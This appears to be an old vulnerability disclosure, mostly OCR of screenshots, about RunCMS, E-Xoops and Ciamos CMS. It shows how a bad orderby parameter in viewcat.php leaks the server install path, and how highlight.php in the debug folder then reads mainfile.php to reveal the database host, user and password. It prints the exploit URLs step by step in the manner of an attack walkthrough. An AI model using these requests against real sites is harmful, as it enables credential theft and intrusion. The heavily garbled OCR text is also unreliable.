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Bug : Show CMS Database Configuration

bug in viewcat.php and mysql.php on RUNCMS and Exoops and Ciamos CMS.this security hole
show CMS installation path in server to allusers access to mylinks or mydownload modules.
And next hole in highlighet.php by this bug all users can see CMS database configuriation in

mainfile.php. for details see images.
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Image 1

WERB LINKS

IHS Test (7)

There are 7 Links in our Database

image 2

WERB LINKS

:IHS Test:

Sort by Title (%} Drate (%} F.ating (ﬁ@j Popularity (%}

Sites currently sorted by: Title (A to 2)

image 3
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sorted by: Title (A to 2)
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image 5

| hkkp: fflocalhostfroncms1 . 1 frodules)mylinks viewcat, phprcid=1&orderby=dates

image 6

Hress iﬂj http: ) flocalbostruncms1 1 frodulesmyvlinks fviewcat, php?oid=120arderby=dateD

image 7

must input wrong address.

4 (s

htkpej flocalbostfruncrms 1, 1 fmodules) mylinks fvigwcat, phproid=12orderby=dateB
L e——

Image 8

After input wrong address see this result.(image 9)

Error Mumber: 2 [MWarning]
Error Message: mysql_fetch_row(): supplied argument is not a valid MySQL result resource
In File: ciiphpdesiwessiruncmsl, 1iclasstdatabaseimysgl.php
On Line: 153

Image 9
It mean you get CMS installation path in server!
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Next bug! In highlight.php , with this bug u can see all .php file in this cms!
You can see how work by highlight.php in image number 10.

3 Highlighted Code Dutput: c:\\phpdey" \www! runcms1.1 ) class' database! \mysqgl.php - Microsoft Internet Explorer o | Ellil

Ele Edit ‘Miew Favorites Tools Help ‘ "l'

ek - ) - \ﬂ @ \._h /Q Search \__ft(Favontes @A redia @‘ E/?:' :\; R J;- w %

Address I@I http:{flocalhostruncms1. 1 jclass/debugrhighlight. php?file=c:\phpdesiwwwiruncms1. 1class|databaseimysql. phpiline=153#153 j Ga | Links *
-

14 if [ 'defined("30QL_LAYER") | {
15 define ("3QL_LATER™, "mysgl"):

17 inelude onee (Z00PS_ROOT PATH."/class/database.php”]:

26 olass Database extends lbsDatabase |

28 wvar §db_connect;
29 var jguery log:

3z function connect(§$server, $user, jpass, $persistent=0) {

33 lemptyi§persistent) ? §this->db_connect = mysgl poonnect($server, §user, $pass) @ §this-»db connect = wysgl connect
(§zerver, $user, ipass):

34 return $this-»db connect: LI

[&] Done ,_’_,_ g Local intranet y

Image 10

OK! We need CMS installation address for working with highlight.php (can get it by using first bug)
You must put a mainfile.php address for input of highlight.php!and highlight.php show for you all
setting and passwordS!!!

o hktp: fflocalhostiruncms, 1fclass/debug/highlight. phprfile=c: \phpdewiwamiruncms1 . 1classidatabaseimysgl. php@line=153#153

Image 11
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ddress I@ http: filocalbostiruncms1 . 1 fclassidebug/highlight . php?file=ci\phpdeswastiruncms 1, Limainfile, phpaline=153#153

1 <?php
24—
34 E-Hoops: Content Managewent for the Masses

g i < http://www.e—-xoops.com >

s/ -
a]

Image 12

caioclal path to yvour main RUNCHMS directory Wllowow.
define (' X0OOP3 URL', 'http://localhost/runcmsl.1');

FF Choose the type of database to be used.
froopaConfig['database'] = 'mysgl':

e preEl L W1LL e added TO 8211 ew e
43t use the default 'runcms'.

! fwoopaConfig['prefix'] = 'runcms':

S5 Hostname of the database serwver. [ If you are w..
= froopaConfig['dbhost'] = !'localhost!':

F4 Your datsbhase user account on the host. [ Often oo
froopsConfig['dbunsme'] = 'root!';

¢ Password for wyour database user acoount.

fwoopaConfig['dbpass'] = '';
/¢ The name of database on the host. The installer wio.
fxoopsConfig['dbhname'] = 'aaa';

Image 13

www.IHSTeam.com
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